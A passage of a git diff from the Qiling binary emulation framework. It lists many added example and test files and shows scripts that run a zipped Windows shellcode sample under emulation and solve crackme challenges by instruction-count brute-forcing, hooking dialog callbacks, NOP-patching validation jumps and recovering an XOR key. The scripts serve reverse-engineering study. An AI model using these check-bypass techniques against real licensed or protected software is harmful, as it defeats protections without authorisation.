examples/mcu/gd32vf103_blink.py.orig | 29 + examples/mcu/stm32f407_gpio_hook.py.orig | 37 + examples/mcu/stm32f407_hack_lock.py.orig | 63 + examples/mcu/stm32f407_mnist_oled.py.orig | 37 + examples/mcu/stm32f411_dma_logger.py.orig | 30 + examples/mcu/stm32f411_freertos.py.orig | 26 + examples/mcu/stm32f411_gpio_hook.py.orig | 28 + examples/mcu/stm32f411_i2c_lcd.py.orig | 50 + examples/mcu/stm32f411_interact_usart.py.orig | 32 + examples/mcu/stm32f411_spi_oled12864.py.orig | 28 + examples/mem_invalid_access.py.orig | 25 + examples/multithreading_arm64_linux.py.orig | 17 + examples/multithreading_mips32_linux.py.orig | 17 + .../multithreading_mips32el_linux.py.orig | 17 + examples/multithreading_x86_windows.py.orig | 13 + examples/netgear_6220_mips32el_linux.py.orig | 75 + examples/ntQuerySystemInfo_x86.py.orig | 13 + examples/petya_8086_crack.py.orig | 106 + examples/regdemo_x86_windows.py.orig | 17 + examples/sality.py.orig | 215 + examples/setexit_arm64_linux.py.orig | 17 + examples/shellcode_run.py.orig | 107 + examples/simple_efi_x8664.py.orig | 46 + examples/tendaac1518_httpd.py.orig | 86 + examples/uefi_sanitized_heap.py.orig | 65 + examples/uselessdisk_x86_windows.py.orig | 14 + .../wannacry_x86_windows_hookaddress.py.orig | 19 + examples/windows_trace.py.orig | 139 + qiling/arch/evm/vm/evm.py | 26 +- qiling/cc/__init__.py | 228 +- qiling/cc/intel.py | 122 +- qiling/cc/mips.py | 20 +- qiling/core_struct.py | 114 +- qiling/extensions/trace.py | 294 +- qiling/extensions/winsdkapi.py | 186 +- qiling/hw/char/sam3xa_uotghs.py | 2 +- qiling/hw/char/stm32f4xx_usart.py | 64 +- qiling/hw/const/stm32f1xx_adc.py | 146 +- qiling/hw/const/stm32f1xx_dma.py | 128 +- qiling/hw/const/stm32f4xx_dma.py | 192 +- qiling/hw/const/stm32f4xx_eth.py | 432 +- qiling/hw/const/stm32f4xx_i2c.py | 130 +- qiling/hw/const/stm32f4xx_pwr.py | 50 +- qiling/hw/const/stm32f4xx_rtc.py | 244 +- qiling/hw/const/stm32f4xx_sdio.py | 172 +- qiling/hw/const/stm32f4xx_spi.py | 92 +- qiling/hw/const/stm32f4xx_tim.py | 254 +- qiling/hw/const/stm32f4xx_usart.py | 52 +- qiling/hw/const/stm32fxxx_rcc.py | 310 +- qiling/hw/dma/stm32f4xx_dma.py | 56 +- qiling/hw/flash/stm32f1xx_flash.py | 2 +- qiling/hw/flash/stm32f4xx_flash.py | 2 +- qiling/hw/gpio/gd32vf1xx_gpio.py | 2 +- qiling/hw/gpio/stm32f1xx_afio.py | 2 +- qiling/hw/gpio/stm32f4xx_gpio.py | 2 +- qiling/hw/i2c/stm32f4xx_i2c.py | 446 +- qiling/hw/intc/gd32vf1xx_eclic.py | 2 +- qiling/hw/intc/stm32f1xx_exti.py | 2 +- qiling/hw/intc/stm32f4xx_exti.py | 60 +- qiling/hw/math/stm32f4xx_crc.py | 114 +- qiling/hw/misc/gd32vf1xx_rcu.py | 2 +- qiling/hw/misc/stm32f1xx_rcc.py | 30 +- qiling/hw/misc/stm32f4xx_dbg.py | 2 +- qiling/hw/misc/stm32f4xx_rcc.py | 180 +- qiling/hw/misc/stm32f4xx_rcc_derive.py | 456 +- qiling/hw/misc/stm32f4xx_syscfg.py | 40 +- qiling/hw/power/sam3xa_pmc.py | 2 +- qiling/hw/power/stm32f4xx_pwr.py | 92 +- qiling/hw/spi/stm32f4xx_spi.py | 2 +- qiling/hw/timer/stm32f4xx_rtc.py | 48 +- qiling/os/dos/interrupts/__init__.py | 16 +- qiling/os/dos/interrupts/int10.py | 402 +- qiling/os/dos/interrupts/int13.py | 224 +- qiling/os/dos/interrupts/int15.py | 70 +- qiling/os/dos/interrupts/int16.py | 82 +- qiling/os/dos/interrupts/int19.py | 24 +- qiling/os/dos/interrupts/int1a.py | 96 +- qiling/os/dos/interrupts/int20.py | 18 +- qiling/os/dos/interrupts/int21.py | 192 +- qiling/os/fcall.py | 278 +- qiling/os/linux/function_hook.py | 110 +- qiling/os/linux/map_syscall.py | 5816 ++++++++--------- qiling/os/linux/syscall_nums.py | 666 +- qiling/os/macos/const.py | 114 +- qiling/os/macos/events/macos.py | 32 +- qiling/os/macos/events/macos_structs.py | 652 +- qiling/os/macos/mach_port.py | 30 +- qiling/os/macos/syscall.py | 4 +- qiling/os/posix/const.py | 88 +- qiling/os/posix/posix.py | 4 +- qiling/os/posix/syscall/ioctl.py | 8 +- qiling/os/posix/syscall/stat.py | 668 +- qiling/os/qnx/types.py | 312 +- qiling/os/uefi/PiMultiPhase.py | 42 +- qiling/os/uefi/ProcessorBind.py | 170 +- qiling/os/uefi/UefiBaseType.py | 56 +- qiling/os/uefi/UefiMultiPhase.py | 68 +- qiling/os/uefi/UefiSpec.py | 408 +- qiling/os/uefi/bs.py | 686 +- qiling/os/uefi/const.py | 68 +- qiling/os/uefi/context.py | 254 +- qiling/os/uefi/ds.py | 354 +- qiling/os/uefi/hob.py | 122 +- .../uefi/protocols/EfiLoadedImageProtocol.py | 74 +- .../uefi/protocols/EfiSmmAccess2Protocol.py | 190 +- .../os/uefi/protocols/EfiSmmBase2Protocol.py | 46 +- qiling/os/uefi/protocols/EfiSmmCpuProtocol.py | 250 +- .../protocols/EfiSmmSwDispatch2Protocol.py | 136 +- qiling/os/uefi/protocols/PcdProtocol.py | 382 +- qiling/os/uefi/protocols/common.py | 148 +- qiling/os/uefi/rt.py | 276 +- qiling/os/uefi/smm.py | 476 +- qiling/os/uefi/smst.py | 352 +- qiling/os/uefi/st.py | 110 +- qiling/os/uefi/uefi.py | 296 +- qiling/os/uefi/utils.py | 202 +- .../os/windows/dlls/kernel32/timezoneapi.py | 4 +- qiling/os/windows/dlls/user32.py | 8 +- qiling/os/windows/structs.py | 2 +- qiling/utils.py | 4 +- qltui.py.orig | 675 ++ setup.py.orig | 102 + tests/test_android.py.orig | 83 + tests/test_blob.py.orig | 68 + tests/test_debugger.py.orig | 196 + tests/test_dos.py.orig | 38 + tests/test_dos_exe.py.orig | 21 + tests/test_edl.py.orig | 96 + tests/test_elf.py.orig | 1164 ++++ tests/test_elf_ko.py.orig | 80 + tests/test_elf_multithread.py.orig | 405 ++ tests/test_evm.py.orig | 156 + tests/test_macho.py.orig | 23 + tests/test_macho_kext.py.orig | 108 + tests/test_mcu.py.orig | 445 ++ tests/test_pathutils.py.orig | 180 + tests/test_pe.py.orig | 596 ++ tests/test_pe_sys.py.orig | 274 + tests/test_perf.py.orig | 58 + tests/test_peshellcode.py.orig | 71 + tests/test_posix.py.orig | 16 + tests/test_qdb.py.orig | 41 + tests/test_qltool.py | 4 +- tests/test_qltool.py.orig | 58 + tests/test_qnx.py.orig | 80 + tests/test_r2.py.orig | 36 + tests/test_riscv.py.orig | 65 + tests/test_shellcode.py.orig | 97 + tests/test_struct.py.orig | 160 + tests/test_tendaac15_httpd.py.orig | 93 + tests/test_uefi.py.orig | 115 + tests/test_windows_debugger.py.orig | 76 + tests/test_windows_stdio.py.orig | 59 + tests/view_perf_results.py.orig | 90 + 198 files changed, 19377 insertions(+), 9948 deletions(-) create mode 100644 examples/adcache_x86_windows_debug.py.orig create mode 100644 examples/cachedlls_x8664_windows.py.orig create mode 100644 examples/crackme_x86_linux.py.orig create mode 100644 examples/crackme_x86_windows.py.orig create mode 100644 examples/crackme_x86_windows_auto.py.orig create mode 100644 examples/crackme_x86_windows_setcallback.py.orig create mode 100644 examples/crackme_x86_windows_unpatch.py.orig create mode 100644 examples/doogie_8086_crack.py.orig create mode 100644 examples/evm/evm_Hexagon_overflow.py.orig create mode 100644 examples/evm/evm_debugger.py.orig create mode 100644 examples/evm/evm_reentrancy.py.orig create mode 100644 examples/evm/evm_reentrancy_vol.py.orig create mode 100644 examples/evm/evm_simple_sc.py.orig create mode 100644 examples/evm/fuzzing/fuzz.py.orig create mode 100644 examples/evm/fuzzing/underflow_test.py.orig create mode 100644 examples/extensions/idaplugin/custom_script.py.orig create mode 100644 examples/extensions/r2/hello_r2.py.orig create mode 100644 examples/extensions/report/hello_x86_windows_json.py.orig create mode 100644 examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py.orig create mode 100755 examples/fuzzing/linux_x8664/fuzz_x8664_linux.py.orig create mode 100755 examples/fuzzing/linux_x8664/libfuzzer_x8664_linux.py.orig create mode 100755 examples/fuzzing/qnx_arm/fuzz_arm_qnx.py.orig create mode 100644 examples/fuzzing/stm32f429/fuzz.py.orig create mode 100644 examples/fuzzing/tenda_ac15/fuzz_tendaac15_httpd.py.orig create mode 100644 examples/fuzzing/tenda_ac15/saver_tendaac15_httpd.py.orig create mode 100644 examples/hello_8086_dos.py.orig create mode 100644 examples/hello_arm_linux_custom_syscall.py.orig create mode 100644 examples/hello_arm_linux_debug.py.orig create mode 100644 examples/hello_arm_qnx.py.orig create mode 100644 examples/hello_arm_qnx_customapi.py.orig create mode 100644 examples/hello_arm_set_filter.py.orig create mode 100644 examples/hello_arm_uboot.py.orig create mode 100644 examples/hello_linuxx8664_intercept.py.orig create mode 100644 examples/hello_mips32_linux_customapi.py.orig create mode 100644 examples/hello_mips32el_linux_debug.py.orig create mode 100644 examples/hello_mips32el_linux_function_hook.py.orig create mode 100644 examples/hello_x8664_gdb_macos.py.orig create mode 100644 examples/hello_x8664_linux_customapi.py.orig create mode 100644 examples/hello_x8664_linux_disasm.py.orig create mode 100644 examples/hello_x8664_linux_part_debug.py.orig create mode 100644 examples/hello_x8664_linux_part_exec.py.orig create mode 100644 examples/hello_x8664_macos.py.orig create mode 100644 examples/hello_x8664_windows_customapi.py.orig create mode 100644 examples/hello_x86_linux_fake_urandom.py.orig create mode 100644 examples/mcu/gd32vf103_blink.py.orig create mode 100644 examples/mcu/stm32f407_gpio_hook.py.orig create mode 100644 examples/mcu/stm32f407_hack_lock.py.orig create mode 100644 examples/mcu/stm32f407_mnist_oled.py.orig create mode 100644 examples/mcu/stm32f411_dma_logger.py.orig create mode 100644 examples/mcu/stm32f411_freertos.py.orig create mode 100644 examples/mcu/stm32f411_gpio_hook.py.orig create mode 100644 examples/mcu/stm32f411_i2c_lcd.py.orig create mode 100644 examples/mcu/stm32f411_interact_usart.py.orig create mode 100644 examples/mcu/stm32f411_spi_oled12864.py.orig create mode 100644 examples/mem_invalid_access.py.orig create mode 100644 examples/multithreading_arm64_linux.py.orig create mode 100644 examples/multithreading_mips32_linux.py.orig create mode 100644 examples/multithreading_mips32el_linux.py.orig create mode 100644 examples/multithreading_x86_windows.py.orig create mode 100644 examples/netgear_6220_mips32el_linux.py.orig create mode 100644 examples/ntQuerySystemInfo_x86.py.orig create mode 100644 examples/petya_8086_crack.py.orig create mode 100644 examples/regdemo_x86_windows.py.orig create mode 100644 examples/sality.py.orig create mode 100644 examples/setexit_arm64_linux.py.orig create mode 100644 examples/shellcode_run.py.orig create mode 100644 examples/simple_efi_x8664.py.orig create mode 100644 examples/tendaac1518_httpd.py.orig create mode 100644 examples/uefi_sanitized_heap.py.orig create mode 100644 examples/uselessdisk_x86_windows.py.orig create mode 100644 examples/wannacry_x86_windows_hookaddress.py.orig create mode 100644 examples/windows_trace.py.orig create mode 100644 qltui.py.orig create mode 100644 setup.py.orig create mode 100644 tests/test_android.py.orig create mode 100644 tests/test_blob.py.orig create mode 100644 tests/test_debugger.py.orig create mode 100644 tests/test_dos.py.orig create mode 100644 tests/test_dos_exe.py.orig create mode 100644 tests/test_edl.py.orig create mode 100644 tests/test_elf.py.orig create mode 100644 tests/test_elf_ko.py.orig create mode 100644 tests/test_elf_multithread.py.orig create mode 100644 tests/test_evm.py.orig create mode 100644 tests/test_macho.py.orig create mode 100644 tests/test_macho_kext.py.orig create mode 100644 tests/test_mcu.py.orig create mode 100644 tests/test_pathutils.py.orig create mode 100644 tests/test_pe.py.orig create mode 100644 tests/test_pe_sys.py.orig create mode 100644 tests/test_perf.py.orig create mode 100644 tests/test_peshellcode.py.orig create mode 100644 tests/test_posix.py.orig create mode 100644 tests/test_qdb.py.orig create mode 100644 tests/test_qltool.py.orig create mode 100644 tests/test_qnx.py.orig create mode 100644 tests/test_r2.py.orig create mode 100644 tests/test_riscv.py.orig create mode 100644 tests/test_shellcode.py.orig create mode 100644 tests/test_struct.py.orig create mode 100644 tests/test_tendaac15_httpd.py.orig create mode 100644 tests/test_uefi.py.orig create mode 100644 tests/test_windows_debugger.py.orig create mode 100644 tests/test_windows_stdio.py.orig create mode 100644 tests/view_perf_results.py.orig diff --git a/examples/adcache_x86_windows_debug.py.orig b/examples/adcache_x86_windows_debug.py.orig new file mode 100644 index 000000000..49486aeca --- /dev/null +++ b/examples/adcache_x86_windows_debug.py.orig @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from zipfile import ZipFile +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + with ZipFile("shellcodes/win32_https_download.zip") as zip_reader: + with zip_reader.open('win32_https_download.bin', 'r', b'infected') as f: + sc = f.read() + + ql = Qiling(code=sc, archtype="x86", ostype="windows", rootfs="rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) + ql.run() diff --git a/examples/cachedlls_x8664_windows.py.orig b/examples/cachedlls_x8664_windows.py.orig new file mode 100644 index 000000000..6e7187f46 --- /dev/null +++ b/examples/cachedlls_x8664_windows.py.orig @@ -0,0 +1,14 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE + +if __name__ == "__main__": + ql = Qiling(["rootfs/x8664_windows/bin/x8664_hello.exe"], "rootfs/x8664_windows", verbose=QL_VERBOSE.DEFAULT, libcache=True) + ql.run() diff --git a/examples/crackme_x86_linux.py.orig b/examples/crackme_x86_linux.py.orig new file mode 100644 index 000000000..9373d133c --- /dev/null +++ b/examples/crackme_x86_linux.py.orig @@ -0,0 +1,122 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +import string + +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions import pipe + +ROOTFS = r"rootfs/x86_linux" + +class Solver: + def __init__(self, invalid: bytes): + # create a silent qiling instance + self.ql = Qiling([rf"{ROOTFS}/bin/crackme_linux"], ROOTFS, verbose=QL_VERBOSE.OFF) + + self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin + self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output + + # execute program until it reaches the 'main' function + self.ql.run(end=0x0804851b) + + # record replay starting and ending points. + # + # since the emulation halted upon entering 'main', its return address is there on + # the stack. we use it to limit the emulation till function returns + self.replay_starts = self.ql.arch.regs.arch_pc + self.replay_ends = self.ql.stack_read(0) + + # instead of restarting the whole program every time a new flag character is guessed, + # we will restore its state to the latest point possible, fast-forwarding a good + # amount of start-up code that is not affected by the input. + # + # here we save the state just when 'main' is about to be called so we could use it + # to jumpstart the initialization part and get to 'main' immediately + self.jumpstart = self.ql.save() or {} + + # calibrate the replay instruction count by running the code with an invalid input + # first. the instruction count returned from the calibration process will be then + # used as a baseline for consequent replays + self.best_icount = self.__run(invalid) + + def __run(self, input: bytes) -> int: + icount = [0] + + def __count_instructions(ql: Qiling, address: int, size: int): + icount[0] += 1 + + # set a hook to fire up every time an instruction is about to execute + hobj = self.ql.hook_code(__count_instructions) + + # feed stdin with input + self.ql.os.stdin.write(input + b'\n') + + # resume emulation till function returns + self.ql.run(begin=self.replay_starts, end=self.replay_ends) + + hobj.remove() + + return icount[0] + + def replay(self, input: bytes) -> bool: + """Restore state and replay with a new input. + + Returns an indication to execution progress: `True` if a progress + was made, `False` otherwise + """ + + # restore program's state back to the starting point + self.ql.restore(self.jumpstart) + + # resume emulation and count emulated instructions + curr_icount = self.__run(input) + + # the larger part of the input is correct, the more instructions are expected to be executed. this is true + # for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found: + # more correct characters mean more loop iterations - thus more executed instructions. + # + # if we got a higher instruction count, it means we made a progress in the right direction + if curr_icount > self.best_icount: + self.best_icount = curr_icount + + return True + + return False + +def progress(msg: str) -> None: + print(msg, end='\r', file=sys.stderr, flush=True) + +def main(): + flag = bytearray(b'*****') + indices = (1, 4, 2, 0, 3) + + # all possible flag characters (may be reduced to uppercase and digits to save time) + charset = string.printable + + progress('Initializing...') + solver = Solver(flag) + + for i in indices: + for ch in charset: + flag[i] = ord(ch) + + progress(f'Guessing... {flag.decode()}') + + if solver.replay(flag): + break + + else: + raise RuntimeError('no match found') + + print(f'\nFlag found!') + +if __name__ == "__main__": + main() + +# expected flag: L1NUX diff --git a/examples/crackme_x86_windows.py.orig b/examples/crackme_x86_windows.py.orig new file mode 100644 index 000000000..f20eef8c1 --- /dev/null +++ b/examples/crackme_x86_windows.py.orig @@ -0,0 +1,120 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions import pipe + +ROOTFS = r"rootfs/x86_windows" + +class Solver: + def __init__(self, invalid: bytes): + # create a silent qiling instance + self.ql = Qiling([rf"{ROOTFS}/bin/crackme.exe"], ROOTFS, verbose=QL_VERBOSE.DISABLED) + + self.ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) # take over the input to the program using a fake stdin + self.ql.os.stdout = pipe.NullOutStream(sys.stdout.fileno()) # disregard program output + + # execute program until it reaches the part that asks for input + self.ql.run(end=0x401030) + + # record replay starting and ending points. + # + # since the emulation halted upon entering a function, its return address is there on + # the stack. we use it to limit the emulation till function returns + self.replay_starts = self.ql.arch.regs.arch_pc + self.replay_ends = self.ql.stack_read(0) + + # instead of restarting the whole program every time a new flag character is guessed, + # we will restore its state to the latest point possible, fast-forwarding a good + # amount of start-up code that is not affected by the input. + # + # here we save the state just when the read input function is about to be called so we + # could use it to jumpstart the initialization part and get to the read input immediately + self.jumpstart = self.ql.save() or {} + + # calibrate the replay instruction count by running the code with an invalid input + # first. the instruction count returned from the calibration process will be then + # used as a baseline for consequent replays + self.best_icount = self.__run(invalid) + + def __run(self, input: bytes) -> int: + icount = [0] + + def __count_instructions(ql: Qiling, address: int, size: int): + icount[0] += 1 + + # set a hook to fire up every time an instruction is about to execute + hobj = self.ql.hook_code(__count_instructions) + + # feed stdin with input + self.ql.os.stdin.write(input + b'\n') + + # resume emulation till function returns + self.ql.run(begin=self.replay_starts, end=self.replay_ends) + + hobj.remove() + + return icount[0] + + def replay(self, input: bytes) -> bool: + """Restore state and replay with a new input. + + Returns an indication to execution progress: `True` if a progress + was made, `False` otherwise + """ + + # restore program's state back to the starting point + self.ql.restore(self.jumpstart) + + # resume emulation and count emulated instructions + curr_icount = self.__run(input) + + # the larger part of the input is correct, the more instructions are expected to be executed. this is true + # for traditional loop-based validations like strcmp or memcmp which bails as soon as a mismatch is found: + # more correct characters mean more loop iterations - thus more executed instructions. + # + # if we got a higher instruction count, it means we made a progress in the right direction + if curr_icount > self.best_icount: + self.best_icount = curr_icount + + return True + + return False + +def progress(msg: str) -> None: + print(msg, end='\r', file=sys.stderr, flush=True) + +def main(): + flag = bytearray(b'BJWXB_CTF{********-****-****-****-************}') + indices = (i for i, ch in enumerate(flag) if ch == ord('*')) + + # uppercase hex digits + charset = '0123456789ABCDEF' + + progress('Initializing...') + solver = Solver(flag) + + for i in indices: + for ch in charset: + flag[i] = ord(ch) + + progress(f'Guessing... {flag.decode()}') + + if solver.replay(flag): + break + + else: + raise RuntimeError('no match found') + + print(f'\nFlag found!') + +if __name__ == "__main__": + main() + +# expected flag: BJWXB_CTF{C5307D46-E70E-4038-B6F9-8C3F698B7C53} diff --git a/examples/crackme_x86_windows_auto.py.orig b/examples/crackme_x86_windows_auto.py.orig new file mode 100644 index 000000000..8911199de --- /dev/null +++ b/examples/crackme_x86_windows_auto.py.orig @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling +from qiling.extensions import pipe +from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.os.windows.api import HWND, UINT, LONG + +def hook_DialogBoxParamA_onexit(ql: Qiling, address: int, params, retval: int): + # extract lpDialogFunc value + # [see arguments list at 'qiling/os/windows/dlls/user32.py' -> 'hook_DialogBoxParamA'] + lpDialogFunc = params['lpDialogFunc'] + + def call_DialogFunc(ql: Qiling): + # we would like to resume from the exact same address that used to invoke + # this hook. in order to prevent an endless loop of hook invocations, we + # remove the hook through its handle. + hh.remove() + + WM_COMMAND = 0x111 + IDS_APPNAME = 1001 + + # [steps #3 and #4] + # set up the arguments and call the address passed through the lpDialogFunc + # param. make sure it resumes back to where we were. + ql.os.fcall.call_native(lpDialogFunc, ( + (HWND, 0), + (UINT, WM_COMMAND), + (UINT, IDS_APPNAME), + (LONG, 0), + ), ql.arch.regs.arch_pc) + + # get DialogBoxParamA return address; should be the first item on the stack + retaddr = ql.arch.stack_read(0) + + # we would like to call DialogFunc as soon as DialogBoxParamA returns, so we + # hook its return address. once it returns, 'call_DialogFunc' will be invoked. + hh = ql.hook_address(call_DialogFunc, retaddr) + +def our_sandbox(path: str, rootfs: str): + ql = Qiling([path], rootfs, verbose=QL_VERBOSE.DEFAULT) + + # this crackme's logic lies within the function passed to DialogBoxParamA through + # the lpDialogFunc parameter. normally DialogBoxParamA would call the function + # passed through that parameter, but Qiling's implementation for it doesn't do + # that. + # + # to solve this crackme and force the "success" dialog to show, we will: + # 1. set up a mock stdin and feed it with the correct flag + # 1. hook DialogBoxParamA to see where its lpDialogFunc param points to + # 2. set up a valid set of arguments DialogFunc expects to see + # 3. call it and see it greets us with a "success" message + + # [step #1] + # set up a mock stdin and feed it with mocked keystrokes + ql.os.stdin = pipe.SimpleInStream(sys.stdin.fileno()) + ql.os.stdin.write(b'Ea5yR3versing\n') + + # [step #2] + # intercept DialogBoxParamA on exit + ql.os.set_api('DialogBoxParamA', hook_DialogBoxParamA_onexit, QL_INTERCEPT.EXIT) + + ql.run() + +if __name__ == "__main__": + our_sandbox(r"rootfs/x86_windows/bin/Easy_CrackMe.exe", r"rootfs/x86_windows") diff --git a/examples/crackme_x86_windows_setcallback.py.orig b/examples/crackme_x86_windows_setcallback.py.orig new file mode 100644 index 000000000..0200f4722 --- /dev/null +++ b/examples/crackme_x86_windows_setcallback.py.orig @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling + +def force_call_dialog_func(ql: Qiling): + # this hook is invoked after returning from DialogBoxParamA, so its + # stack frame content is still available to us. + + # get DialogFunc address + lpDialogFunc = ql.stack_read(-8) + + # setup stack for DialogFunc + ql.stack_push(0) + ql.stack_push(1001) + ql.stack_push(273) + ql.stack_push(0) + ql.stack_push(0x0401018) + + # force EIP to DialogFunc + ql.arch.regs.eip = lpDialogFunc + +def my_sandbox(path, rootfs): + ql = Qiling(path, rootfs) + + # patch the input validation code: overwrite all its breaking points + # denoted with "jne 0x401135", so it would keep going even if there + # is an error + ql.patch(0x004010B5, b'\x90\x90') + ql.patch(0x004010CD, b'\x90\x90') + ql.patch(0x0040110B, b'\x90\x90') + ql.patch(0x00401112, b'\x90\x90') + + # hook the instruction after returning from DialogBoxParamA + ql.hook_address(force_call_dialog_func, 0x00401016) + + ql.run() + +if __name__ == "__main__": + my_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows") diff --git a/examples/crackme_x86_windows_unpatch.py.orig b/examples/crackme_x86_windows_unpatch.py.orig new file mode 100644 index 000000000..ffcf0a52c --- /dev/null +++ b/examples/crackme_x86_windows_unpatch.py.orig @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys +sys.path.append("..") + +from qiling import Qiling + +def force_call_dialog_func(ql: Qiling): + # this hook is invoked after returning from DialogBoxParamA, so its + # stack frame content is still available to us. + + # get DialogFunc address + lpDialogFunc = ql.stack_read(-8) + + # setup stack for DialogFunc + ql.stack_push(0) + ql.stack_push(1001) + ql.stack_push(273) + ql.stack_push(0) + ql.stack_push(0x0401018) + + # force EIP to DialogFunc + ql.arch.regs.eip = lpDialogFunc + +def our_sandbox(path, rootfs): + ql = Qiling(path, rootfs) + + # hook the instruction after returning from DialogBoxParamA + ql.hook_address(force_call_dialog_func, 0x00401016) + + ql.run() + +if __name__ == "__main__": + # Flag is : Ea5yR3versing + our_sandbox(["rootfs/x86_windows/bin/Easy_CrackMe.exe"], "rootfs/x86_windows") diff --git a/examples/doogie_8086_crack.py.orig b/examples/doogie_8086_crack.py.orig new file mode 100644 index 000000000..35dc43b90 --- /dev/null +++ b/examples/doogie_8086_crack.py.orig @@ -0,0 +1,210 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, curses, math, struct, string, time +sys.path.append("..") +from qiling import * +from qiling.const import * +from qiling.os.disk import QlDisk +from qiling.os.dos.utils import BIN2BCD +from struct import pack + + +# https://stackoverflow.com/questions/9829578/fast-way-of-counting-non-zero-bits-in-positive-integer +def CountBits(n): + n = (n & 0x5555555555555555) + ((n & 0xAAAAAAAAAAAAAAAA) >> 1) + n = (n & 0x3333333333333333) + ((n & 0xCCCCCCCCCCCCCCCC) >> 2) + n = (n & 0x0F0F0F0F0F0F0F0F) + ((n & 0xF0F0F0F0F0F0F0F0) >> 4) + n = (n & 0x00FF00FF00FF00FF) + ((n & 0xFF00FF00FF00FF00) >> 8) + n = (n & 0x0000FFFF0000FFFF) + ((n & 0xFFFF0000FFFF0000) >> 16) + n = (n & 0x00000000FFFFFFFF) + ((n & 0xFFFFFFFF00000000) >> 32) # This last & isn't strictly necessary. + return n + +def ham(lhs: int, rhs: int): + return CountBits(lhs^rhs) + +def calavghd(bs: bytes, sz: int): + groups = len(bs) // sz + hdsum = 0 + seqs = [ bs[i*sz:(i+1)*sz] for i in range(groups)] + for i in range(groups-1): + seq1 = seqs[i] + seq2 = seqs[(i+1)%groups] + lc = 0 + for j in range(sz): + lc += ham(seq1[j], seq2[j]) + hdsum += ham(seq1[j], seq2[j]) + return hdsum / groups, hdsum / groups / sz + +def calavghdall(bs: bytes, maxsz: int): + r = [] + for i in range(1, maxsz): + r.append((i, *calavghd(bs, i))) + r.sort(key=lambda x: x[2]) + return r + +# Implmentation for https://trustedsignal.blogspot.com/2015/06/xord-play-normalized-hamming-distance.html +def guess_key_size(orig: bytes, maxsz=20): + avghd = calavghdall(orig, maxsz) + gcd12 = math.gcd(avghd[0][0], avghd[1][0]) + gcd13 = math.gcd(avghd[0][0], avghd[2][0]) + gcd23 = math.gcd(avghd[1][0], avghd[2][0]) + if gcd12 != 1: + if gcd12 == gcd13 and gcd12 == gcd23: + if gcd12 in [t[0] for t in avghd[:5]]: + if gcd12 == avghd[0][0] or gcd12 == avghd[0][1]: + return gcd12 + return avghd[0][0] + +def is_all_printable(bs: bytes): + for b in bs: + if chr(b) not in string.printable: + return False + return True + +def countchar(bs: bytes): + d = {} + for ch in bs: + if ch not in d: + d[ch] = 0 + d[ch] += 1 + r = [(chr(k), v) for k, v in d.items()] + r.sort(key=lambda x: x[1], reverse=True) + return r + +def cal_count_for_seqs(seqs: dict): + seqs_keys={} + for seq in seqs: + seqs_keys[seq] = {} + for ch in range(0x20, 0x7E+1): + xored = bytes([b^ch for b in seq]) + if not is_all_printable(xored): + continue + count = countchar(xored) + seqs_keys[seq][ch] = count + return seqs_keys + +def search_possible_key(seqs: dict, seqs_keys: dict, max_occur=3): + keys = set() + cached = {} + def _impl(seq_idx: bytes, repeated: int, key: str): + if seq_idx == len(seqs): + keys.add(key) + return + if repeated not in cached[seq_idx]: + return + for ch in cached[seq_idx][repeated]: + _impl(seq_idx + 1, repeated, key + bytes([ch])) + return + for idx, seq in enumerate(seqs): + cached[idx] = {} + for ch, count in seqs_keys[seq].items(): + for tp in count[:max_occur]: + if ord(tp[0]) not in cached[idx]: + cached[idx][ord(tp[0])] = [] + cached[idx][ord(tp[0])].append(ch) + for i in range(0x20, 0x7E+1): + _impl(0, i, b"") + return keys + +def echo_key(ql: Qiling, key): + # Note: In most cases, users are not supposed to use `ql.os.stdscr` + # directly. The hack here is to show the corresponding key. + stdscr = ql.os.stdscr + y, _ = stdscr.getmaxyx() + stdscr.addstr(y-2, 0, f"Current key: {key}") + stdscr.refresh() + +def show_once(ql: Qiling, key): + klen = len(key) + ql.arch.regs.ax = klen + ql.mem.write(0x87F4, key) + # Partial exectution to skip input reading + ql.run(begin=0x801B, end=0x803d) + echo_key(ql, key) + time.sleep(1) + +# In this stage, we show every key. +def third_stage(keys): + # To setup terminal again, we have to restart the whole program. + ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], + "rootfs/8086", + console=False) + ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80)) + ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT) + hk = ql.hook_code(stop, begin=0x8018, end=0x8018) + ql.run() + ql.hook_del(hk) + # Snapshot API. + ctx = ql.save() + for key in keys: + show_once(ql, key) + ql.restore(ctx) + + +# In this stage, we crack the encrypted buffer. +def second_stage(ql: Qiling): + data = bytes(read_until_zero(ql, 